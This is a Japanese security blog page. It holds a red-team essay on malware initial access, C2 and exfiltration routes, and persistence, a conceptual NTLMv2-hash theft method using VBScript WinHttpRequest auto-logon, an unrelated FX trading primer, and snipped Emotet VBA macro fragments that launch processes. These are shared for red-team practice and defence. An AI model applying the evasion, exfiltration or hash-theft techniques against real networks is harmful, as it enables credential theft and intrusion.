nknskn ネタ置き場

IT使ってなんかやってる人間のたわごと

ちょっとした読み物枠:初期感染(Initial access)に関する考察 - [RedTeaming][情報セキュリティ][マルウェア配送]


今回は、なんの因果かわからないけど仕事としてRedTeamingをやってみて、攻撃側の情報としてなかなかネットに転がっていなかったりRedTeamingの本とかでも深く掘り詰めてなさそうなところをいろいろ考えたので、後進のRedTeamerあるいは企業のネットワーク設計・管理・運用担当者さんへ向けての参考材料として、以下の方針でメモを書いておきます。

  • 極力技術的に細かい話は書かない、企業ネットワークの設定・構成に関しては細かいとこを気にしてるのでそのあたりは書く
  • 攻撃側が実際にどんなことを考えてプログラムを作ったりするのか、だとかを攻撃者目線で

ToC

そもそもRedTeamingとは

WikipediaさんによるとRedTeamingは以下のような感じです。

ある組織の効率性を改善するように挑む独立したグループで、対象組織に敵対した役割あるいは視点を持つことを前提とし、(省略)侵入テストの担当者は、組織のセキュリティを評価する。多くの場合、対象組織の職員には知らされない。 このタイプのレッドチームは、演習、ロールプレイング、または発表された評価よりも、セキュリティ準備状況のより現実的なイメージを提供する。 レッドチームは、特定の運用環境内でアクティブなコントロールと対策を引き起こす可能性がある。(以下省略)

なんか英語の直訳感があるけど、ざっくり内容を書くと

  • 「攻撃」を提供する企業(以降、攻撃側)と「防御」の実践を行いたい企業(以降、防御側)、双方の合意に基づいた、情報セキュリティにおける攻撃シミュレーション
  • 目的は、防御側が定めたゴール(情報資産の持ち出しやらネットワーク管理者権限の奪取やら)に到達できるかをチェックすること

という感じ。攻撃側は、いわゆる「標的型攻撃」を防御側に対してガンガンしかけていって、その結果・内容を報告する、形になります。会社ごとのサービス内容と契約によって呼び名と内容が「なんかミスマッチじゃね?」ってなることは往々にしてあるので細かいことは気にせず、まあこんなもんなんだって程度で。

実際攻撃側はなにをやるのか

Cyber Kill Chainが定義されて久しいけど、ざっくりこんな感じ。

f:id:news-nknskn:20210410233353p:plain PDF, IoT時代のサイバーセキュリティ確保に向けて, P.8, IPA

「目的達成」のとこはざっくりすぎて防御側が具体的に何をどう守ればいいのかわからん、みたいな話があって別のモデルも考えられてはいるんだけど(Unified Kill Chain、本家のPDFがなくなってた、どっかにアーカイブあるんかな)、この記事では上の画像でいう「武器化、エクスプロイト〜遠隔操作」の部分を深掘りするので、ここでは割愛。

というのも、「目的の達成」の部分は技術的な話になりがちで、かつ「昔から使われている手法からほぼほぼ変わってないし、なんだかんだ情報転がってる」というのが実感としてあるからです。記事の趣旨からズレるからね、仕方ないね。興味ある人はいろいろ調べて、どうぞ。

武器化、エクスプロイト〜遠隔操作について

"じゃあ「武器化、エクスプロイト〜遠隔操作」はなにか変わっているのか"という話。個人的にはここもそんな大きくは変わっていないんじゃないかと考えてます。それならなんでこのブログを書いたんだ、ってとこに関しては、攻撃側の情報としてなかなかネットに転がっていなかったりRedTeamingの本とかでも深く掘り詰められていないように見えている、かつ結構頑張って考えたと自負しているからです(スクリプトも作ったしAVにもたくさん消されたし)。

そんなわけで、以下、安定的な「遠隔操作」の実現に向けて、本気の攻撃者が考えているであろう、かつ極力汎用的なところまで落とし込んだことをつらつら書いていきます。防御側の人は読んでみて、実際の攻撃者への嫌がらせをたっぷり考えていきましょう。

Initial accessの成功条件について

まずマルウェアを標的組織内に送り込んで実行させることを目標とした場合に、攻撃目的からプログラム要件を考えてみます。一般化した場合はおそらく以下のような感じになるでしょう。

  1. ランサムウェアタイプ
    • 外部と通信する必要はない(マルウェアに持たせた公開鍵でファイルを暗号化すれば良い) = HTTP/外部DNSへの通信はいらない
    • 継続的にマルウェアを動かす必要がない = Persistence設定もいらない
    • 端末上のファイル暗号化を行う
    • ローカルネットワーク内の端末を探索し、どんどん感染端末を増やす = ここは想定攻撃範囲次第
    • 初弾で検知されなければある程度問題はない = テストの際一部セキュリティソフトに検知されていても、気にせず送り込める
  2. APT / 情報窃取を目的とした標的型攻撃タイプ
    • 外部と通信する必要がある = HTTP/外部DNSとの通信が前提、企業内ネットワークタイプの想定および準備が必要
    • 継続的にマルウェアを動かす必要がある = Persistence設定が必要
    • マルウェア上で多種多様なコマンド実行を行える必要がある = コマンド実行のためのモジュールが必要
    • ネットワークの探索は自動では行わない(検知される可能性を下げるため)
    • あらゆるAV/EDRに検知されないようにする必要がある(標的組織で利用されているセキュリティソフトの特定前という条件) = 上記の要件を満たす各アクティビティが検知されない仕組みの用意が必要

基本的に、ランサムウェアタイプは初弾が検知されずに実行されれば成功、というシンプルなものに対し、標的型攻撃タイプはいくつか条件があることがわかります。RedTeam的には「C2がうまくいき」かつ「継続的にマルウェアを動作させる」ことができれば大成功、最悪でも外部との通信経路を確認できれば次弾の用意が捗る、という感じです。

今回はRedTeam(APT/標的型攻撃タイプ)を前提にしているので、2について深堀りをします。それでは各項目について考察していきます。

外部と通信する必要がある = HTTP/外部DNSとの通信が前提、企業内ネットワークタイプの想定および準備が必要

そのままで、外部との通信を「どのプロトコルで」かつ「どの経路で行うか」という話です。目的は以下の2つです。

  1. C2サーバと通信を行う(感染端末⇄C2/Exfilサーバ)
  2. 取得した情報を持ち出す(感染端末→C2/Exfilサーバ)

1に関しては説明不要だと思います。攻撃を継続的に行うために、感染端末上で何かしらの操作ができるようにするということです。いろいろな解析ブログでもC2に関しては触れられていますね。

2に関しては1と異なり、完全に端末の掌握はできない場合でも、2回目にマルウェアを送付した際にマルウェア感染・端末掌握の成功確率を引き上げるための戦術になります。具体例を挙げると、端末上のセキュリティ製品情報の持ち出しであったり、外部との通信で利用可能なプロキシ情報であったり、C2通信に利用可能なプロトコル情報など、必要最低限な情報だけを外部に送り、最終的なマルウェア感染は(わざと)しない、というものです(できればラッキー)。

それではまず企業内ネットワークを考えてみます。なにかしらで外部と通信可能という前提で企業ネットワーク内にある端末(内部デバイス)を想定した場合、おおよそ次のようなネットワーク構成があると思います。HTTPプロキシに関しては、外部・内部・その他用途といろいろもっと細分化できると思いますが、数だけ多くなるのでいったんはこのぐらいにしておきます。またCASBなどのサービスは考慮外とします。

f:id:news-nknskn:20210415022928p:plain f:id:news-nknskn:20210415022950p:plain ※図はLucidchartで作成

各図を説明すると以下のような形です。

  1. 左ー上の図、HTTP(S)ではインターネットと直接通信可能な穴があり、プロキシ通しても通信可能、DNSも外部を参照するようになっている
  2. 右ー上の図、用途別にプロキシがある、通信の制御がブラックリスト形式とホワイトリスト形式で異なっており、HTTP(S)のデフォルト通信先はホワイトリスト制御のプロキシに向いている、DNSは端末から外部参照可能
  3. 左ー下の図、HTTP(S) でインターネットと通信するためにはプロキシを通る必要がある、名前解決はプロキシが行なっており、端末からは名前解決できない
  4. 右ー下の図、DNSのみ外部と通信可能

それぞれについて、どのプロトコル、かつ経路で通信可能かを考えてみます。

  1. HTTP(S)/DNSで通信可能、HTTPでプロキシを参照しない方がログに残らなくて良い
  2. HTTP(S)はNot blacklistedなプロキシを指定した場合、もしくはDNSは特に考えずに通信可能、プロキシ情報はpacに記載されていると想定されるのでpac取得した上で指定する必要がある
  3. HTTP(S)でのみ通信可能、プロキシを参照する必要がある
  4. DNSのみ通信可能

だいたいまとまりました。Initial accessでは、1-4すべてで情報の外部持ち出しを試み、かついずれかの通信経路に対応したマルウェアを動作させる必要がある、ということがわかります。

ちなみにですが、その辺に公開されているC2 Frameworkで生成されるマルウェアでは、このあたりのプロトコル調査・経路探索はやれないので自分で準備する必要がありました。標的組織に送り込めるファイルタイプとの兼ね合いもあって、実際の初弾はVBAマクロになりがちです。この辺はもう仕方ないなーと思って白目剥きつつオレオレフレームワークを作ってました(現在進行形)。

対策

マルウェアがHTTP(S)で通信を行おうとした場合レジストリや.pacの参照を行うことになりますが、この辺での検知は非常に難しいので昔からある通りプロキシ(あるいはその他のデバイス)のログを基に検知するしかないと思います。問題は複数プロキシがあり、かつデフォルトがホワイトリスト形式のプロキシに向いている場合です。端末上のデフォルト通信先設定で安心しちゃってブラックリスト形式のプロキシログの監視を行なっていない場合、C2通信の検知ができない恐れがあります。

めちゃくちゃ大変でしょうが、企業内にあるプロキシに関してはすべてについて用途、通信可能・あるいは不可能なドメイン、およびログ監視の有無の棚卸しをした方がよいでしょう。

DNSに関しては、個人的には3. 左下の図の形が良さそうな気がしています。外部への情報持ち出しを止めることは難しいですが端末の掌握自体は防げますし、業務利用を考えても外部との通信が可能な状態を維持したままにできるので(なお構築)。

余談
  • だいたいのC2 Frameworkが出力するマルウェアは、プロキシ情報(レジストリのProxyServer)を参照するようになっているようなので、単にプロキシ置いてレジストリ設定しただけではほぼほぼ通信阻止に至りません(pacの場合はわかりません、全Frameworkを調査したわけではないので)
  • DNSで安定してC2できるFrameworkが少なすぎてつらみ

継続的にマルウェアを動かす必要がある = Persistence設定が必要

それでは次にPersistence設定について考えてみます。インストールされているソフトウェアによって増えたりしますが、パッと思いつくところだとこんなもんではないかと。

  • レジストリ、HKLM, HKCU 配下のRunとかRunOnceとか、LogonscriptとかCortanaとかいろいろ(一部要管理者権限)
  • スタートアップフォルダ
  • スケジュールタスク
  • サービス(要管理者権限)
  • DLL (search order) hijacking / side loading
  • Officeアドインフォルダ
  • Keepass
  • その他プラグイン/アドイン/拡張機能

まずKeepassやらプラグインアドイン拡張機能に関してはインストール済みが条件となるので、汎用性を考えた場合設定対象からは外れます。

次にレジストリですが、実際のInitial accessでもよく用いられるためか、ちょっと(けっこう?)前からVBAからのレジストリアクセスがWindows Defenderに検知されるようになったようでした。コードベースで検知された可能性もありますが、一度でも検知された以上積極的に採用する気にはなりません。またサービスは要管理者権限ですし、よほど運が良くない限り登録できないでしょう。

DLL系は...一発で見つけて、かつPersistenceするのは相当難しいです。検証はしているものの、そもそもsearch orderの設定不備が、標的になった組織でほぼほぼ見られないのであまり採用する気にはなりません。

そのような感じでどんどん絞っていったところ、わりとスタートアップフォルダへのドロップ、およびOfficeアドインフォルダへのファイルドロップは比較的アンチウイルスソフトに検知されにくいような印象を受けました。ただしEDRにはかなり検知されます。さすがに怪しいからね、仕方ないですね。

というわけで、今後Persistence対象として選ばれる可能性が高くなるのはフォルダ系と見ています。

対策

この辺は設定されないように防ぐ、ということは難しいですが、EDRでの検知がめちゃくちゃ強い部分だと思います。アンチウイルスソフトEDRの強いところを組み合わせて、総合的に守っていくようにしましょう。

侵害済み端末かどうか、のところに関してはまずAutorunsとかで確認して、DLL漁っていくとかアドイン探すとかになるのでしょうかね。かなり大変なのであんまやりたくはないですね。

マルウェア上で多種多様なコマンド実行を行える必要がある = コマンド実行のためのモジュールが必要

ここは詳細、対策は省略。攻撃側は公開されているC2 Framework使うとか、商用のもの使うとか、その上でEvasionを頑張るしかないところかと。私は自作のプロトコル・経路探索のやつに、特定のセキュリティ製品の場合だけ任意のタイミングでコマンド実行できるモジュールをロードするようにしてみました。

防御側はEDRとかでのエンドポイント検知を頑張るしかないかと。

ネットワークの探索は自動では行わない(検知される可能性を下げるため)

(やらないので書くことは)ないです。

あらゆるAV/EDRに検知されないようにする必要がある(標的組織で利用されているセキュリティソフトの特定前という条件) = 上記の要件を満たす各アクティビティが検知されない仕組みの用意が必要

はい、ここまでで一通りInitial accessで必要と考えられる要素を挙げてきました。最終的には標的組織内に送り込むファイルに、要件通りのものを仕込んだ上でAV/EDR Evasionやって、メールで送るなら経路上での検知を潜り抜けるようにして、気づかれないように実行してもらうだけですね。頑張りましょう。

あとがき

ここまででRedTeamプロジェクトの始めも始め、というか正直まだ始められてもいない(けど苦労はめちゃくちゃしている)という段階の話です。いかがだったでしょうか。

攻撃者としては、2弾目以降の攻撃で足掛かりになる情報はかなり欲しい気持ちになるので、情報の持ち出しについて深く考えているんじゃないかと思います。

防御側に関しては、外部との通信方法について改めてネットワークを確認いただくことで、ハードニングも捗るんじゃないかと思います(なんの通信も外に出てこなかったりすると、攻撃者は何もわからなくて寝れなくなるんじゃないでしょうか)。ネットワーク構築の際も大変な思いだけして作るのも気が滅入るので、攻撃者にたっぷり嫌がらせができる構成を考えて楽しみつつ実装していきましょう。

Dear real attacker,

f:id:news-nknskn:20210415040223p:plain 進撃の巨人、一巻

以上

NTLMv2 Hashをvbscript + phpで手に入れる

2020年2月あたりのssmjpで、vbscriptで結構頑張れるってことを言いたいがために紹介したツールの解説です. 利用可能なコードは公開していませんのでご承知ください.
※コンセプトさえわかれば、結構な人がパパッと作れる類のものだと思います. 実際にどんな感じのコードになるのか気になる人は絡んでください(かまってちゃんスタイル)

ssmjpの中でも触れましたが、ガチガチの環境(生パスワードが入ってるファイルなんて見つからない、最新のパッチが適用されていて権限昇格可能/横展開可能な脆弱性がない、とかシステム・運用的に堅牢)だと、なかなか攻撃の糸口が見つからずに大変だったりするケースがあります.
※もちろん防御側にとっては非常に望ましい環境です

そんな感じで、HTTP(S)通信を使用したstagerの埋め込みには成功しているものの、管理者権限なし、脆弱性なし、クライアント端末上にめぼしい情報なしでどうしたもんかなーなんて思いつつ、NTLM v2認証の流れをなんとなく眺めている時に思いついた仕組み&ツールです. 思いついてからおおよそ1時間(+debug time)で作れました.
ちなみにその時眺めていたサイトは以下.

IIS認証NTLMおよびASP.NET偽装によるWebアプリケーションの負荷分散| ゼベネット

NTLM認証がどこまで生き残っているのか正直わからないものの、Responderを使用したMITMによるHash取得が可能なシチュエーションを多く見ているので、NTLM認証の設定はまだまだ有効なんだろうなぁ、という印象があります. BlueTeam側の方にはケーススタディとして参考にしてもらえればと思います.

以下ToC

そもそもの認証情報窃取について

Windows環境における認証情報の窃取はいろいろな方法があるので書き切れないですが、大きく分けると以下のような感じだと思います.

  • 生パスワードの取得(mimikatz、キーロガー、bat/ps1/txtファイルの中など)
  • NTLM Hashの取得(Pass the Hash用)
  • NTLMv2 Hash取得によるOfflineパスワード解析(ResponderによるMITM、Redirect to SMBなど)

生パスワードの取得に成功すれば御の字ですが、以下のような感じでなかなかそうはいかない&見つからない場合調査にかけた時間が無駄になる可能性があります.

  • mimikatz
    • 権限昇格可能な脆弱性がそもそもない、ツラい
  • Responder
    • MITMでNTLMv1/NTLMv2 Hashを取得できるpythonツール
    • MITM用の端末を対象のネットワークに持ち込める?python.exeを突っ込める?
    • pyinstallerとかでexeにしたとしても管理者権限必要、ツラい
  • Inveigh.ps1
    • MITMでNTLMv1/NTLMv2 Hashを取得できるPowerShellツール
    • Port開ける必要があるので管理者権限が必要、ツラい
  • Redirect to SMB
    • FWのOutboundで139/tcp, 445/tcpって普通開いてない、ツラい

まあこのような状況下で少なくともNTLMv2のNTLM Responseは取得できないかを考えていた状況でした.

前提

以下の3つだと考えています. (Group policyの設定で、止められる項目が別にあるかも?)

  • WSHが動作すること ※WinHTTPRequest オブジェクトが扱えるものならなんでも良い
  • OutboundでHTTP(S)が開いていること
  • クライアント端末でNTLM認証が有効になっていること

スクリプトを動かした時の挙動、HashcatでCrackするまで

ユーザ権限でスクリプトを実行した際の挙動を撮ってgifにしています. ※hatenaへのアップロードがこけてめんどくさくなったのでgithubに置いた、反省も後悔もしていない

GitHub - nknskn/Get-NTLMv2: Gif only

NTLMv2 Hashの生成の流れ、およびHTTPにおけるNTLMv2認証プロセスについて

Hash生成

こちらのブログの「Net-NTLMv2認証」を参照してもらうのが良いと思います.

Pass-the-Hashの仕組み - Binary Pulsar

見ていただければわかりますが、NTLMv2 Hashの生成に使用されているのは以下の5要素です.

  • パスワード(NTLM hash)
  • ユーザが所属しているドメイン
  • ユーザが所属しているドメインにおける、ユーザ名
  • Client-issued NTLM Challenge
  • Server-issued NTLM Challenge

攻撃者から見た場合、「NTLMv2 Hash」「ドメイン名」「ユーザ名」「Client-issued NTLM Challenge」「Server-issued NTLM Challenge」の5要素、およびパスワード候補の辞書があれば、NTLMv2 Hashを計算・取得したHashに衝突するかどうかを検証することで、パスワードのOffline crackが可能になります.

通常のHTTPにおけるNTLMv2認証プロセス

上記の生成時に使用した情報をサーバとクライアントで共有することで、認証が可能になります. 認証時のステップは以下の通りです.
※図用にリンク再掲
IIS認証NTLMおよびASP.NET偽装によるWebアプリケーションの負荷分散| ゼベネット

f:id:news-nknskn:20201121031553p:plain
ntlmauth

文字にするとざっくり以下です.

  1. クライアント -> サーバ
    • GET /
    • コンテンツ見せてー
  2. サーバ -> クライアント
    • 401 Unauthorizaed
    • WWW-Authenticate: NTLM
    • NTLMでの認証必須やで
  3. クライアント -> サーバ
    • GET /
    • Authorization: NTLM Tl...
    • NTLMSSP_NEGOTIATE
    • 了解、Server Challenge送ってー
  4. サーバ -> クライアント
    • 401 Unauthorizaed
    • WWW-Authenticate: NTLM Tl...
    • NTLMSSP_CHALLENGE
    • よっしゃこれチャレンジな. わしはこのドメインのサーバだから、この情報使ってハッシュ値送ってくれ
  5. クライアント -> サーバ
    • GET /
    • Authorization: NTLM Tl...
    • NTLMSSP_AUTH
    • ハッシュ計算したー. あたしゃはこういうもん(ドメイン名、ユーザ名)で使ったチャレンジはこれっす. 認証ヨロー.
      • ドメイン名(サーバから返送されたものと同じ)
      • ユーザ名
      • Client-issued Challenge
      • NTLMv2 Hash
  6. サーバ -> クライアント
    • 200 OK
    • 認証通ったわ、コンテンツ見せたる

ツール化する上での、上記フローにおける要点は次の2点です.

  • サーバは、自分がどのドメインに所属しているかをクライアントに通知する
  • クライアントは、サーバから送信されたドメインと対応するユーザ名を基に、NTLM v2 Hashを計算する
    • その後、使用したドメイン名、ユーザ名、Client-issued Challenge、NTLMv2 Hashをサーバへ送信する

ドメインに所属していない(攻撃者)サーバで、NTLMv2 Hashを取得するための仕様について

上記の通常時の認証プロセスから、認証プロセス開始前においてサーバ・クライアントがそれぞれ保持している情報は以下のように考えられます.

  • サーバ:ドメイン名、Server-issued NTLM Challenge
  • クライアント:ドメイン名(サーバからの指定)、ユーザ名、Client-issued NTLM Challenge、NTLMv2 Hash

それに対し、端末に侵入した攻撃者にとっての事前情報は以下のような状態と考えられます.

  • サーバ:Server-issued NTLM Challenge
  • クライアント:ドメイン名、ユーザ名、Client-issued NTLM Challenge、NTLMv2 Hash

このことから攻撃者は、認証プロセス開始前に攻撃対象のドメイン情報をサーバへ送信しておけば、通常のNTLMv2認証プロセスにおける認証開始前状態と一致し、そのまま認証プロセスを行えると考えられます.
このことから、クライアント側の要件は以下のようになります.

  • コンピュータ/ユーザが所属しているドメイン情報を取得し、サーバへ送信可能なこと
  • ドメイン情報に基づくNTLM認証に対応したHTTP communicationが可能なこと

またクライアントはドメイン情報通知のHTTPリクエスト(リクエスト1)を発生させたのち、NTLM認証要求リクエスト(リクエスト2)を送信しますが、サーバ側ではリクエスト1とリクエスト2が同一ユーザであることを識別する必要があります.
したがって、サーバ側の要件は以下となります.

  • リクエスト1とリクエスト2に対するセッション管理が可能なこと
  • NTLM情報の要求が可能なこと

それぞれの要件について、考察していきます.

(クライアント)コンピュータ/ユーザが所属しているドメイン情報を取得可能なこと

Windows APIを利用可能なもの、あるいはwmiを利用可能であれば、容易に取得が可能です. vbscriptであればそれこそggれば秒で見つかるので、ここでは割愛します.

(クライアント)ドメイン情報を用いたNTLM認証をサポートしている、HTTP communicationが可能なこと

一番考えなければならない項目がこれです.
XMLHTTPRequestのようなモジュールを利用した場合、システムに保存されている認証情報を投げてくれるかはわかりません(これは調査してない). また、認証ダイアログを出すパターンではユーザに怪しまれる可能性が非常に高くなります.
今回の場合、その辺りを解決してくれているのが「WinHttp.WinHttpRequest」オブジェクトです. このオブジェクトは「SetAutoLogonPolicy」メソッドを持っており、値にAutoLogonPolicy_Always(0)が設定された場合は、NTLM認証が要求された際ユーザに認証を求めず、オブジェクトの方でよしなに(システムに保存されている認証情報を参照)してくれるようになっています.

WinHttpRequest object - Win32 apps | Microsoft Docs
IWinHttpRequest::SetAutoLogonPolicy method - Win32 apps | Microsoft Docs
Authentication in WinHTTP - Win32 apps | Microsoft Docs
WinHttpRequestAutoLogonPolicy enumeration - Win32 apps | Microsoft Docs

この仕様を用いてDomain NTLM認証対応なHTTPリクエストを送るスクリプトを書くと、以前書いたブログ(以下)のような感じになります.

Windows認証のHTTPリクエスト(Net-NTLMv2)を送るVBScript(超ヤバイ) - nknskn ネタ置き場

(サーバ)リクエスト1とリクエスト2に対するセッション管理が可能なこと
(サーバ)NTLM情報の要求が可能なこと

この2項目についてはNTLM認証用のバイナリデータ生成をどの言語でどこまで頑張るか、という話で、実現困難性の観点では考えるまでもなく可能で容易(制限もない)ため、割愛します. 作成した際には突貫工事だったため、以下のプログラムをベースに条件分岐や出力などをいじって形にしました.

php-ntlm/ntlm.php at master · loune/php-ntlm · GitHub

プログラムの流れ

クライアント、およびサーバにおける一連の動作を書くと以下になります.

  1. (クライアント)ドメイン情報をwmiかなにかで取得
  2. (クライアント)取得した情報をサーバへ送信、HTTP POST 1
  3. (クライアント)サーバへリソース要求、HTTP GET 2
  4. (サーバ)NTLM認証要求、HTTP GET 2 - Response
  5. (クライアント)NTLM認証開始、HTTP GET 3
  6. (サーバ)POST 1で取得したドメイン情報を基にServer-issued Challengeの返送、HTTP GET 3 - Reponse
  7. (クライアント)NTLMv2 Hashの送信、HTTP GET 4
  8. (サーバ)200 OK(なんでもいい)、logging、HTTP GET 4 - Response

上記の通り、事前のドメイン情報送信+NTLM認証用リクエストの計 4 HTTP Request(POST or GET, GET, GET, GET)でNTLM v2 Hashの取得が可能です.

再掲 GitHub - nknskn/Get-NTLMv2: Gif only

感想・考察

  • おそらくですが、BlueTeam側で知識なくこれらのHTTPリクエストを発見するのは非常に困難だと思います. ※Cloudfront経由でもハッシュの取得が可能であることを確認しています.
  • 感染した端末上のexe/vbsなどで、これらの組み合わせ(WinHTTPRequest/AutoLogonPolicy_Always)が発見された場合、NTLM v2 hashが窃取されていると想定して、パスワード変更の実施を推奨するのがベターなのかなと. (それ以上の被害が出ているケースがほとんどなんでしょうけど)
  • VBScript結構すごい!COM objectしか触れなくてもわりとイケるやん! -再掲:実際にどんな感じのコードになるのか気になる人は絡んでください(かまってちゃんスタイル)

その他参考

以上

シストレについて考える時に必要なドメイン知識(基本知識)を書き出しとく

FXを行う、かつ今後シストレを始めることを前提としてる人向け(&自分の知識整理のため)に、現時点で知識として最低限必須と考えている項目について、以下の方針で簡単にまとめておく

  • この記事中に出てきたキーワードを利用して、FX取引およびシストレの深掘り検索ができるようにしておく
  • FXを実際に行う(デモ・本番どちらでも)際に、どの用語がなにを指しているのか、を事前知識としてある程度知っておく
  • 解釈の固定化を避けるため、個人の見解は一切載せない。事実および一般的な定義のみ記載する
    • 読み解き方、利用方法などにも触れない、適宜検索してもらう前提とする

※個人が一般的な定義を記載する時点で、記事主のフィルタがかかっていることには了承いただく必要がある

以下ToC

前提:検索用用語

書き出したら意外とあった、一気に全部書くのはしんどいので適宜調べることを推奨する

通貨、通貨ペアについて

  • 基本通貨はUSDであり、通貨価値は1ドルに対して現時点でいくらか、が表示されていることが多い
    • USD/JPYで 105.208 円が表示されている場合、時価1ドル=105.208 円を指す
    • EUR/USDで 1.17496 ドルが表示されている場合、時価1ユーロ=1.17496 ドルを指す
  • 通貨ペアにUSDがない場合、証券内部的にはUSDが存在する通貨ペアでを組み合わせて、時価を算出
    • GBP/JPYの場合、(GBP/USD)*(USD/JPY)を行う
  • 通貨ペアごとに取引量、チャートの変動傾向などが異なる

取引の流れ(USD/JPYを例とする)

  • 考え方は、RPGなどのゲームでよくある「交易品で利益を得る」フローと同様
    • 毛皮  を 安い国      で仕入れて、        評価額の高い国  に行って 売る
    • 建て玉 を 評価額の安い時間 に仕入れて、        評価額の高い時間    で 売る
    • 建て玉 を 評価額の高い時間 に「売る約束」をしておいて、評価額の安くなった時間 で 買う
  • 建て玉に対して注文・決済を行い、新規注文時、および決済注文時の評価額の差分を以て、損益計算を行う
    • 105.500 円時に1000通貨、数量10の新規買い注文を出した(105.150円の毛皮を10個買った)
    • 翌日、USD/JPYの価格が変動し、106.000円になった(毛皮の価値が106.000円の国に行った)
    • 106.000 円で1000通貨、数量10を決済注文した(毛皮を10個全て売った)
    • 差分の0.500 円 * 1000 通貨 * 数量 10 = 5000円儲けた

半自動取引設定について

  • 以下の条件に従って取引を行いたい場合、それぞれ対応する注文を事前に設定する
To do Order name
○○円まで下がったら買いの新規注文を出す / ○○円まで上がったら売りの新規注文を出す 指値注文
○○円まで上がったら買いの新規注文を出す / ○○円まで下がったら売りの新規注文を出す 指値注文
これから出す新規注文に、利益確定の決済注文を出す価格も設定する IFD注文
これから出す新規注文に、利益確定の決済注文、および損失確定の決済注文を出す価格も設定する IFO注文

テクニカルの例、検索用

テクニカル指標一覧|マネックス証券

シストレについて

  • 新規注文、および決済注文を自動化したシステムを利用して、トレードを行うこと
  • 利用する方法
    • 自動売買システムを提供している会社に口座を開き、設定する
    • MT4/5などの自動売買設定が可能なプログラムを自分のパソコンにインストールし、設定する
    • 証券会社が公開しているAPIを利用し、自分で開発する
  • 個人の所感、雑記等は同ブログ内、シストレに関する雑記XXに記載

ぼくのかんがえたさいきょうのマルウェア感染対策(EmotetのVBAを覗いて、VBAマクロに対する防御を考える)

副題:VBAマクロでInitial Access payloadばっか作ってるヤツが一番相手にしたくないと思う設定

Emotetが(何故か)再流行したみたいですね。

本当になぜ再流行したかイマイチわからず、「そもそもどんな感じで書かれているのか」「検知はそんなに難しいのか」「止める方法ってマクロ無効化とかファイル開かない、みたいなのしかないの?」とかちょっと考えてみたくなったので、知ってる範囲でEmotetを止めるための設定を書いてみました。他にこんな方法もあるよ、とかあればコメントいただけると嬉しいです。コマンド一発でグループポリシーに適用させられるやつだとより大勢の管理者の方が幸せになれる気がします。「この設定ファイルイカしてるからグループポリシーにインポートしてみなよ!」みたいのでも可(血涙)DoDのSTIG良いですよねえ...

以下、TOC

最近のマルウェアについてコメント

オンメモリでpowershellが実行されるーとかダウンローダを何回も重ねてるーとか、攻撃に使われているマルウェアにはいくつも特徴がありますが、まあ冷静に考えてオンメモリでpayloadを展開&実行していても結局やってるのはプロセス生成のためのコマンド実行なわけです。要は「最悪このプロセス生成を止めりゃいいんでないの?」という発想です。

Emotetに関して細かいことを言うと、観測範囲内においては以前から最近のものまで全てVBA内にどうにかこうにかpayloadを隠し持たせ、(見づらくしただけっぽい)難読化コードからpowershellを実行するものが多い印象です。ちなみにいくつかのEmotet解析ブログを見たり自分でもEmotetのVBAコードを見たりしましたが、powershell実行時に使用されているのはたいていWin32_Process.Create()のようでした(下記リンクのうち下二つはその辺書いてない)。直近のEmotetについては以下すぐに触れますが、やっぱりWin32_Process.Create()でpowershellを叩くようになってました。

比較的最近のEmotet VBA(2検体)について

※専門家の知見のもと安全に十分配慮して(ry

細かいところは省略して、重要だと思ったところだけ載せます。難読化している箇所なんていくらでも変えられるから変えているのであって、そこに注目するのは時間の無駄です。想定している動作をさせる上で変えようがないところを見ていきます。

  • 9c6f98f54b5f8b43d3ced2c547a09d7ea30578c696263ad60666ea9e75a22daa
Private Sub _
Document_open()
F5rwxzbfuowsqkbdt.Xbq37kxh8w2e
End Sub

Function Xbq37kxh8w2e()
   On Error Resume Next

'(snip)

Jpfgivlyicd99r9 = Array(Y6gqr6abanqlu + "Wyvln5tc5eq37uvul1 Pdetuctodf7fClhqmwed17ab_10rrr Se951ebi5pq", CreateObject(Bqqta6d91epi).Create(Bqf_3mrtgx7xegw45i, Z_qxvnehzwd7iesunu, Whewr2ng_0nf6zf), Qy4p7grrmlokyk0cbt + "Jenkodabwww Wks5jgvvqe737k Lwkcqakg5joom D6615tagrz7r0wjiv")

'(snip)

End Function

'(snip)
  • 9140dd246193f4397044dce4c62930cb81b729b3900b10c5e9ecf6778a077648
Private Sub Document_open()
Rt055d5md2s7_.Tv2ghyjqs9ofp1
End Sub

'(snip)

Function Tv2ghyjqs9ofp1()
On Error Resume Next

'(snip)

S_widwqm3orw6j3ur.Create CVar(Fq4_elcsi9j), Uc3rl8girme, Qtx_okh1te1i98

'(snip)

End Function

'(snip)

どちらの検体もみて分かる通り、マクロ有効時(Document_open)に、プロセスを生成する(.Create)ことがわかります。 その後、メモリ上に展開されたpowershellダウンローダとして機能して、exeを4-5 URLから取ってこれるか確認して、ダウンロードできたら実行して〜みたいな流れになりますが(メールでの感染拡大はexeでやってる)、このブログでは「そこまで行ったら負け」という考えでいきます。

アンチウイルスソフトについてコメント

で、Anti-Virus software(以降、AV)関連の話に移ると、(細かいところは省きますが)最近のWindows Defenderさん(以降、Defender)は大変にやっか...優秀になっていて、初弾にあたるVBAマクロに「コマンド実行をするための関数」(Wscript.ShellのRunとかExecとかWin32_ProcessのCreateとかCreateRemoteThreadだとか)が含まれていると、「Defenderが有効」かつ「Defenderのクラウド保護機能が有効」な場合(デフォルト設定ではどちらも有効)に、実行前のOfficeファイルごと削除するようになってたりします。

上記のようなEmotetのマクロには見た通り.Create()が入っているので、上記を満たす端末においては、ファイルを開く前にDefenderがそのファイルを削除してくれるはずです(ブログ執筆時は消されてるものの今後はわからない)。

そんなわけで、現時点における個人の印象としては(Defenderに頼っているので)「Emotetなぞ恐るるに足らず。なんでざわざわしてるのかよくわからん」という感じですが、まあEmotetに限らず攻撃者は手を変え品を変え、検知されないようバレないようにやってくるものです。どうやったら作れるんですかねぇ...最近は開発方針が今一つ(ry。そんなわけでAV以外の設定でなんとか止められないかをみてみます。

Office 365 webでのファイルオープンについて

いつぞやにTwitterで呟いた気もしますが、Office 365を利用している場合、Webベース(ブラウザ)でWordやExcelを使用することができます。またそこでdoc等のファイルを開こうとすると互換性エラーが発生して、強制的にdocx等に変換、その後マクロがないファイルを開くことになります。そのため、Webベースでファイルを開くように徹底することでマクロを一切排除できることから、WebベースでOfficeファイルを扱うことは、VBAマルウェアに対して有効な手段と考えられます(あれ?ローカルのOfficeソフトウェアをなくしてしまえば。。。)。

